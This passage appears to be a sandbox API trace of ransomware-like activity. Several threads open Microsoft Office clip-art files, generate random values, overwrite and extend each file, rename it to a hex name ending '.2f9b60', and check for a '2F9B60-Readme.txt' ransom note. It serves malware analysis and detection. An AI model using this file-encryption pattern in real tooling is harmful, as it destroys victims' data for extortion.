lpNumberOfBytesWritten=0x3892fcb4*=0x248e, lpOverlapped=0x0) returned 1 [0115.309] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a9610 [0115.310] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a9640 [0115.310] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a9640) returned 1 [0115.310] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20175950) returned 1 [0115.310] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20179560) returned 1 [0115.310] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b868840) returned 1 [0115.310] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c8a0) returned 1 [0115.310] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x202a9640 [0115.310] SetFilePointerEx (in: hFile=0x14d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0115.310] WriteFile (in: hFile=0x14d8, lpBuffer=0x1675e0*, nNumberOfBytesToWrite=0x10a, lpNumberOfBytesWritten=0x3892fdd0, lpOverlapped=0x0 | out: lpBuffer=0x1675e0*, lpNumberOfBytesWritten=0x3892fdd0*=0x10a, lpOverlapped=0x0) returned 1 [0115.321] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82c3a0 [0115.321] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b8687c0 [0115.321] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20262360 [0115.321] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20262360) returned 1 [0115.321] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x1b7d5a50 [0115.321] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20262360 [0115.322] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20261250 [0115.322] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20261250) returned 1 [0115.322] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b8687c0) returned 1 [0115.322] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c3a0) returned 1 [0115.322] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x31) returned 0x1b7d8500 [0115.322] sprintf (in: _Dest=0x1b7d8500, _Format="%c%c" | out: _Dest="b4") returned 2 [0115.322] sprintf (in: _Dest=0x1b7d8502, _Format="%c%c" | out: _Dest="b6") returned 2 [0115.322] sprintf (in: _Dest=0x1b7d8504, _Format="%c%c" | out: _Dest="91") returned 2 [0115.322] sprintf (in: _Dest=0x1b7d8506, _Format="%c%c" | out: _Dest="68") returned 2 [0115.322] sprintf (in: _Dest=0x1b7d8508, _Format="%c%c" | out: _Dest="6d") returned 2 [0115.322] sprintf (in: _Dest=0x1b7d850a, _Format="%c%c" | out: _Dest="7f") returned 2 [0115.322] sprintf (in: _Dest=0x1b7d850c, _Format="%c%c" | out: _Dest="15") returned 2 [0115.322] sprintf (in: _Dest=0x1b7d850e, _Format="%c%c" | out: _Dest="bc") returned 2 [0115.322] sprintf (in: _Dest=0x1b7d8510, _Format="%c%c" | out: _Dest="85") returned 2 [0115.322] sprintf (in: _Dest=0x1b7d8512, _Format="%c%c" | out: _Dest="4e") returned 2 [0115.322] sprintf (in: _Dest=0x1b7d8514, _Format="%c%c" | out: _Dest="98") returned 2 [0115.322] sprintf (in: _Dest=0x1b7d8516, _Format="%c%c" | out: _Dest="7a") returned 2 [0115.322] sprintf (in: _Dest=0x1b7d8518, _Format="%c%c" | out: _Dest="b4") returned 2 [0115.322] sprintf (in: _Dest=0x1b7d851a, _Format="%c%c" | out: _Dest="f7") returned 2 [0115.323] sprintf (in: _Dest=0x1b7d851c, _Format="%c%c" | out: _Dest="ab") returned 2 [0115.323] sprintf (in: _Dest=0x1b7d851e, _Format="%c%c" | out: _Dest="fc") returned 2 [0115.323] sprintf (in: _Dest=0x1b7d8520, _Format="%c%c" | out: _Dest="0c") returned 2 [0115.323] sprintf (in: _Dest=0x1b7d8522, _Format="%c%c" | out: _Dest="ce") returned 2 [0115.323] sprintf (in: _Dest=0x1b7d8524, _Format="%c%c" | out: _Dest="33") returned 2 [0115.323] sprintf (in: _Dest=0x1b7d8526, _Format="%c%c" | out: _Dest="f7") returned 2 [0115.323] sprintf (in: _Dest=0x1b7d8528, _Format="%c%c" | out: _Dest="50") returned 2 [0115.323] sprintf (in: _Dest=0x1b7d852a, _Format="%c%c" | out: _Dest="44") returned 2 [0115.323] sprintf (in: _Dest=0x1b7d852c, _Format="%c%c" | out: _Dest="c4") returned 2 [0115.323] sprintf (in: _Dest=0x1b7d852e, _Format="%c%c" | out: _Dest="32") returned 2 [0115.323] RtlInitAnsiString (in: DestinationString=0x3892fe48, SourceString="b4b691686d7f15bc854e987ab4f7abfc0cce33f75044c432" | out: DestinationString="b4b691686d7f15bc854e987ab4f7abfc0cce33f75044c432") [0115.323] RtlAnsiStringToUnicodeString (in: DestinationString=0x3892fe18, SourceString="b4b691686d7f15bc854e987ab4f7abfc0cce33f75044c432", AllocateDestinationString=1 | out: DestinationString="b4b691686d7f15bc854e987ab4f7abfc0cce33f75044c432") returned 0x0 [0115.323] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x62) returned 0x1ced97f0 [0115.323] wcscat (in: _Dest=0x1b7ada20, _Source="b4b691686d7f" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\b4b691686d7f") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\b4b691686d7f" [0115.323] wcscat (in: _Dest=0x1b7ada20, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\b4b691686d7f.2f9b60") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\b4b691686d7f.2f9b60" [0115.323] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\b4b691686d7f.2f9b60", NtPathName=0x3892fdf0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\b4b691686d7f.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0115.323] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa8) returned 0x2050bd70 [0115.323] NtSetInformationFile (FileHandle=0x14d8, IoStatusBlock=0x3892fe90, FileInformation=0x2050bd70, Length=0xa8, FileInformationClass=0xa) returned 0x0 [0115.347] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050bd70) returned 1 [0115.347] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cf48900) returned 1 [0115.347] NtQueryInformationFile (in: FileHandle=0x14d8, IoStatusBlock=0x3892fe58, FileInformation=0x3892fe68, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x3892fe58, FileInformation=0x3892fe68) returned 0x0 [0115.347] NtSetInformationFile (FileHandle=0x14d8, IoStatusBlock=0x3892fe58, FileInformation=0x3892fe68, Length=0x28, FileInformationClass=0x4) returned 0x0 [0115.349] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7ada20) returned 1 [0115.349] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced97f0) returned 1 [0115.349] FlushFileBuffers (hFile=0x14d8) returned 1 [0115.376] CloseHandle (hObject=0x14d8) returned 1 [0115.378] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x88) returned 0x1b86a6b0 [0115.378] wcscpy (in: _Dest=0x1b86a6b0, _Source="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\" [0115.378] wcscat (in: _Dest=0x1b86a6b0, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\2F9B60-Readme.txt" [0115.378] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\2f9b60-readme.txt")) returned 0x20 [0115.378] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b86a6b0) returned 1 [0115.378] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b86a3e0) returned 1 Thread: id = 1226 os_tid = 0xdc4 [0115.158] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0212701.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0212701.wmf")) returned 0x20 [0115.158] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0212701.WMF", dwFileAttributes=0x20) returned 1 [0115.159] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0212701.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0212701.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x14c0 [0115.159] GetFileSizeEx (in: hFile=0x14c0, lpFileSize=0x38c6f8c0 | out: lpFileSize=0x38c6f8c0*=2938) returned 1 [0115.159] SetFilePointerEx (in: hFile=0x14c0, liDistanceToMove=0xb76, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0115.159] ReadFile (in: hFile=0x14c0, lpBuffer=0x38c6f840, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x38c6f888, lpOverlapped=0x0 | out: lpBuffer=0x38c6f840*, lpNumberOfBytesRead=0x38c6f888*=0x4, lpOverlapped=0x0) returned 1 [0115.180] SetFilePointerEx (in: hFile=0x14c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0115.180] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a96a0 [0115.182] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a9670 [0115.182] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a95e0 [0115.182] NtQuerySystemTime (in: CurrentTime=0x38c6f780 | out: CurrentTime=0x38c6f780*=132462177206422000) returned 0x0 [0115.182] RtlRandomEx (in: Seed=0x38c6f770 | out: Seed=0x38c6f770) returned 0x45e88caa [0115.182] RtlRandomEx (in: Seed=0x38c6f770 | out: Seed=0x38c6f770) returned 0x5415febe [0115.182] RtlRandomEx (in: Seed=0x38c6f770 | out: Seed=0x38c6f770) returned 0x11fafa4d [0115.182] RtlRandomEx (in: Seed=0x38c6f770 | out: Seed=0x38c6f770) returned 0x3c5a6657 [0115.182] RtlRandomEx (in: Seed=0x38c6f770 | out: Seed=0x38c6f770) returned 0x648858c0 [0115.182] RtlRandomEx (in: Seed=0x38c6f770 | out: Seed=0x38c6f770) returned 0x2ebcd532 [0115.182] RtlRandomEx (in: Seed=0x38c6f770 | out: Seed=0x38c6f770) returned 0x73d8bef [0115.182] RtlRandomEx (in: Seed=0x38c6f770 | out: Seed=0x38c6f770) returned 0x52466cea [0115.182] RtlRandomEx (in: Seed=0x38c6f770 | out: Seed=0x38c6f770) returned 0x4226d4aa [0115.182] RtlRandomEx (in: Seed=0x38c6f770 | out: Seed=0x38c6f770) returned 0x4e021050 [0115.182] RtlRandomEx (in: Seed=0x38c6f770 | out: Seed=0x38c6f770) returned 0x15a61bc6 [0115.182] RtlRandomEx (in: Seed=0x38c6f770 | out: Seed=0x38c6f770) returned 0x4a76fc8f [0115.182] RtlRandomEx (in: Seed=0x38c6f770 | out: Seed=0x38c6f770) returned 0xc8a2936 [0115.182] RtlRandomEx (in: Seed=0x38c6f770 | out: Seed=0x38c6f770) returned 0xe831a59 [0115.182] RtlRandomEx (in: Seed=0x38c6f770 | out: Seed=0x38c6f770) returned 0x3f7730a1 [0115.182] RtlRandomEx (in: Seed=0x38c6f770 | out: Seed=0x38c6f770) returned 0x3a73aa2f [0115.182] RtlRandomEx (in: Seed=0x38c6f770 | out: Seed=0x38c6f770) returned 0x5d32e3d4 [0115.182] RtlRandomEx (in: Seed=0x38c6f770 | out: Seed=0x38c6f770) returned 0x61271c01 [0115.182] RtlRandomEx (in: Seed=0x38c6f770 | out: Seed=0x38c6f770) returned 0x72f94614 [0115.182] RtlRandomEx (in: Seed=0x38c6f770 | out: Seed=0x38c6f770) returned 0x2e472dd4 [0115.182] RtlRandomEx (in: Seed=0x38c6f770 | out: Seed=0x38c6f770) returned 0x7b62eb75 [0115.182] RtlRandomEx (in: Seed=0x38c6f770 | out: Seed=0x38c6f770) returned 0x291c948d [0115.182] RtlRandomEx (in: Seed=0x38c6f770 | out: Seed=0x38c6f770) returned 0x4d42832a [0115.183] RtlRandomEx (in: Seed=0x38c6f770 | out: Seed=0x38c6f770) returned 0x5fa9ba49 [0115.183] RtlRandomEx (in: Seed=0x38c6f770 | out: Seed=0x38c6f770) returned 0x12cfc952 [0115.183] RtlRandomEx (in: Seed=0x38c6f770 | out: Seed=0x38c6f770) returned 0x63de086d [0115.183] RtlRandomEx (in: Seed=0x38c6f770 | out: Seed=0x38c6f770) returned 0x29c577 [0115.183] RtlRandomEx (in: Seed=0x38c6f770 | out: Seed=0x38c6f770) returned 0x5b5abe4d [0115.183] RtlRandomEx (in: Seed=0x38c6f770 | out: Seed=0x38c6f770) returned 0x50a971d5 [0115.183] RtlRandomEx (in: Seed=0x38c6f770 | out: Seed=0x38c6f770) returned 0x5f23dd59 [0115.183] RtlRandomEx (in: Seed=0x38c6f770 | out: Seed=0x38c6f770) returned 0x58eb27f3 [0115.183] RtlRandomEx (in: Seed=0x38c6f770 | out: Seed=0x38c6f770) returned 0x7b62542c [0115.197] ReadFile (in: hFile=0x14c0, lpBuffer=0x201578d0, nNumberOfBytesToRead=0xb7a, lpNumberOfBytesRead=0x38c6f770, lpOverlapped=0x0 | out: lpBuffer=0x201578d0*, lpNumberOfBytesRead=0x38c6f770*=0xb7a, lpOverlapped=0x0) returned 1 [0115.197] SetFilePointerEx (in: hFile=0x14c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0115.197] WriteFile (in: hFile=0x14c0, lpBuffer=0x20153cc0*, nNumberOfBytesToWrite=0xb7a, lpNumberOfBytesWritten=0x38c6f774, lpOverlapped=0x0 | out: lpBuffer=0x20153cc0*, lpNumberOfBytesWritten=0x38c6f774*=0xb7a, lpOverlapped=0x0) returned 1 [0115.281] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a96a0 [0115.281] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20262d20 [0115.282] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20262d20) returned 1 [0115.282] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20153cc0) returned 1 [0115.282] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x201578d0) returned 1 [0115.282] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b868940) returned 1 [0115.282] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82bea0) returned 1 [0115.282] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x20262d20 [0115.282] SetFilePointerEx (in: hFile=0x14c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0115.283] WriteFile (in: hFile=0x14c0, lpBuffer=0x1675e0*, nNumberOfBytesToWrite=0x10a, lpNumberOfBytesWritten=0x38c6f890, lpOverlapped=0x0 | out: lpBuffer=0x1675e0*, lpNumberOfBytesWritten=0x38c6f890*=0x10a, lpOverlapped=0x0) returned 1 [0115.305] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82bea0 [0115.306] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b868940 [0115.306] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20260da0 [0115.306] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20260da0) returned 1 [0115.306] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x1b7d5a50 [0115.306] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20260da0 [0115.306] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20263830 [0115.306] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20263830) returned 1 [0115.306] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b868940) returned 1 [0115.307] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82bea0) returned 1 [0115.307] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x31) returned 0x1b7d8500 [0115.307] sprintf (in: _Dest=0x1b7d8500, _Format="%c%c" | out: _Dest="dd") returned 2 [0115.307] sprintf (in: _Dest=0x1b7d8502, _Format="%c%c" | out: _Dest="a4") returned 2 [0115.307] sprintf (in: _Dest=0x1b7d8504, _Format="%c%c" | out: _Dest="4e") returned 2 [0115.307] sprintf (in: _Dest=0x1b7d8506, _Format="%c%c" | out: _Dest="c6") returned 2 [0115.307] sprintf (in: _Dest=0x1b7d8508, _Format="%c%c" | out: _Dest="73") returned 2 [0115.307] sprintf (in: _Dest=0x1b7d850a, _Format="%c%c" | out: _Dest="05") returned 2 [0115.307] sprintf (in: _Dest=0x1b7d850c, _Format="%c%c" | out: _Dest="fa") returned 2 [0115.307] sprintf (in: _Dest=0x1b7d850e, _Format="%c%c" | out: _Dest="cd") returned 2 [0115.307] sprintf (in: _Dest=0x1b7d8510, _Format="%c%c" | out: _Dest="c3") returned 2 [0115.307] sprintf (in: _Dest=0x1b7d8512, _Format="%c%c" | out: _Dest="81") returned 2 [0115.307] sprintf (in: _Dest=0x1b7d8514, _Format="%c%c" | out: _Dest="71") returned 2 [0115.308] sprintf (in: _Dest=0x1b7d8516, _Format="%c%c" | out: _Dest="74") returned 2 [0115.308] sprintf (in: _Dest=0x1b7d8518, _Format="%c%c" | out: _Dest="76") returned 2 [0115.308] sprintf (in: _Dest=0x1b7d851a, _Format="%c%c" | out: _Dest="dd") returned 2 [0115.308] sprintf (in: _Dest=0x1b7d851c, _Format="%c%c" | out: _Dest="49") returned 2 [0115.308] sprintf (in: _Dest=0x1b7d851e, _Format="%c%c" | out: _Dest="e7") returned 2 [0115.308] sprintf (in: _Dest=0x1b7d8520, _Format="%c%c" | out: _Dest="c7") returned 2 [0115.308] sprintf (in: _Dest=0x1b7d8522, _Format="%c%c" | out: _Dest="2e") returned 2 [0115.308] sprintf (in: _Dest=0x1b7d8524, _Format="%c%c" | out: _Dest="25") returned 2 [0115.308] sprintf (in: _Dest=0x1b7d8526, _Format="%c%c" | out: _Dest="5b") returned 2 [0115.308] sprintf (in: _Dest=0x1b7d8528, _Format="%c%c" | out: _Dest="85") returned 2 [0115.308] sprintf (in: _Dest=0x1b7d852a, _Format="%c%c" | out: _Dest="8f") returned 2 [0115.308] sprintf (in: _Dest=0x1b7d852c, _Format="%c%c" | out: _Dest="4f") returned 2 [0115.308] sprintf (in: _Dest=0x1b7d852e, _Format="%c%c" | out: _Dest="09") returned 2 [0115.308] RtlInitAnsiString (in: DestinationString=0x38c6f908, SourceString="dda44ec67305facdc381717476dd49e7c72e255b858f4f09" | out: DestinationString="dda44ec67305facdc381717476dd49e7c72e255b858f4f09") [0115.308] RtlAnsiStringToUnicodeString (in: DestinationString=0x38c6f8d8, SourceString="dda44ec67305facdc381717476dd49e7c72e255b858f4f09", AllocateDestinationString=1 | out: DestinationString="dda44ec67305facdc381717476dd49e7c72e255b858f4f09") returned 0x0 [0115.308] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x62) returned 0x1b7a3340 [0115.309] wcscat (in: _Dest=0x1b7ad8e0, _Source="dda44ec67305" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\dda44ec67305") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\dda44ec67305" [0115.309] wcscat (in: _Dest=0x1b7ad8e0, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\dda44ec67305.2f9b60") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\dda44ec67305.2f9b60" [0115.309] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\dda44ec67305.2f9b60", NtPathName=0x38c6f8b0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\dda44ec67305.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0115.309] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa8) returned 0x1b861e30 [0115.309] NtSetInformationFile (FileHandle=0x14c0, IoStatusBlock=0x38c6f950, FileInformation=0x1b861e30, Length=0xa8, FileInformationClass=0xa) returned 0x0 [0115.330] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b861e30) returned 1 [0115.330] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cf47e10) returned 1 [0115.330] NtQueryInformationFile (in: FileHandle=0x14c0, IoStatusBlock=0x38c6f918, FileInformation=0x38c6f928, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x38c6f918, FileInformation=0x38c6f928) returned 0x0 [0115.331] NtSetInformationFile (FileHandle=0x14c0, IoStatusBlock=0x38c6f918, FileInformation=0x38c6f928, Length=0x28, FileInformationClass=0x4) returned 0x0 [0115.332] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7ad8e0) returned 1 [0115.332] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7a3340) returned 1 [0115.332] FlushFileBuffers (hFile=0x14c0) returned 1 [0115.335] CloseHandle (hObject=0x14c0) returned 1 [0115.341] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x88) returned 0x1b86a350 [0115.341] wcscpy (in: _Dest=0x1b86a350, _Source="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\" [0115.342] wcscat (in: _Dest=0x1b86a350, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\2F9B60-Readme.txt" [0115.342] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\2f9b60-readme.txt")) returned 0x20 [0115.342] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b86a350) returned 1 [0115.342] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b86a470) returned 1 Thread: id = 1227 os_tid = 0xc74 [0115.162] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0212957.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0212957.wmf")) returned 0x20 [0115.162] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0212957.WMF", dwFileAttributes=0x20) returned 1 [0115.162] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0212957.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0212957.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x14a0 [0115.163] GetFileSizeEx (in: hFile=0x14a0, lpFileSize=0x38dafd20 | out: lpFileSize=0x38dafd20*=9252) returned 1 [0115.163] SetFilePointerEx (in: hFile=0x14a0, liDistanceToMove=0x2420, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0115.163] ReadFile (in: hFile=0x14a0, lpBuffer=0x38dafca0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x38dafce8, lpOverlapped=0x0 | out: lpBuffer=0x38dafca0*, lpNumberOfBytesRead=0x38dafce8*=0x4, lpOverlapped=0x0) returned 1 [0115.199] SetFilePointerEx (in: hFile=0x14a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0115.199] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a96a0 [0115.199] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a95e0 [0115.199] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a9520 [0115.199] NtQuerySystemTime (in: CurrentTime=0x38dafbe0 | out: CurrentTime=0x38dafbe0*=132462177206578000) returned 0x0 [0115.199] RtlRandomEx (in: Seed=0x38dafbd0 | out: Seed=0x38dafbd0) returned 0x78d9da59 [0115.199] RtlRandomEx (in: Seed=0x38dafbd0 | out: Seed=0x38dafbd0) returned 0x7b9d36b8 [0115.199] RtlRandomEx (in: Seed=0x38dafbd0 | out: Seed=0x38dafbd0) returned 0x27f217b6 [0115.199] RtlRandomEx (in: Seed=0x38dafbd0 | out: Seed=0x38dafbd0) returned 0x41a4cd9d [0115.199] RtlRandomEx (in: Seed=0x38dafbd0 | out: Seed=0x38dafbd0) returned 0x44550744 [0115.199] RtlRandomEx (in: Seed=0x38dafbd0 | out: Seed=0x38dafbd0) returned 0x581f0135 [0115.199] RtlRandomEx (in: Seed=0x38dafbd0 | out: Seed=0x38dafbd0) returned 0x581ab1ee [0115.199] RtlRandomEx (in: Seed=0x38dafbd0 | out: Seed=0x38dafbd0) returned 0x3e97a9b4 [0115.199] RtlRandomEx (in: Seed=0x38dafbd0 | out: Seed=0x38dafbd0) returned 0x656009b5 [0115.200] RtlRandomEx (in: Seed=0x38dafbd0 | out: Seed=0x38dafbd0) returned 0x69d6e880 [0115.200] RtlRandomEx (in: Seed=0x38dafbd0 | out: Seed=0x38dafbd0) returned 0x276c0a80 [0115.200] RtlRandomEx (in: Seed=0x38dafbd0 | out: Seed=0x38dafbd0) returned 0x3a6742be [0115.200] RtlRandomEx (in: Seed=0x38dafbd0 | out: Seed=0x38dafbd0) returned 0x5fda326d [0115.200] RtlRandomEx (in: Seed=0x38dafbd0 | out: Seed=0x38dafbd0) returned 0x5316149a [0115.200] RtlRandomEx (in: Seed=0x38dafbd0 | out: Seed=0x38dafbd0) returned 0x61daccc0 [0115.200] RtlRandomEx (in: Seed=0x38dafbd0 | out: Seed=0x38dafbd0) returned 0x3efec6d5 [0115.200] RtlRandomEx (in: Seed=0x38dafbd0 | out: Seed=0x38dafbd0) returned 0x3a9caa01 [0115.200] RtlRandomEx (in: Seed=0x38dafbd0 | out: Seed=0x38dafbd0) returned 0x6aec50a4 [0115.200] RtlRandomEx (in: Seed=0x38dafbd0 | out: Seed=0x38dafbd0) returned 0x329ffb6d [0115.200] RtlRandomEx (in: Seed=0x38dafbd0 | out: Seed=0x38dafbd0) returned 0x4fa9f222 [0115.200] RtlRandomEx (in: Seed=0x38dafbd0 | out: Seed=0x38dafbd0) returned 0x167a57b0 [0115.200] RtlRandomEx (in: Seed=0x38dafbd0 | out: Seed=0x38dafbd0) returned 0x6ab07d07 [0115.200] RtlRandomEx (in: Seed=0x38dafbd0 | out: Seed=0x38dafbd0) returned 0x75e41e6 [0115.200] RtlRandomEx (in: Seed=0x38dafbd0 | out: Seed=0x38dafbd0) returned 0x7f973536 [0115.200] RtlRandomEx (in: Seed=0x38dafbd0 | out: Seed=0x38dafbd0) returned 0x5a3f7d0e [0115.200] RtlRandomEx (in: Seed=0x38dafbd0 | out: Seed=0x38dafbd0) returned 0x1e9d9a36 [0115.200] 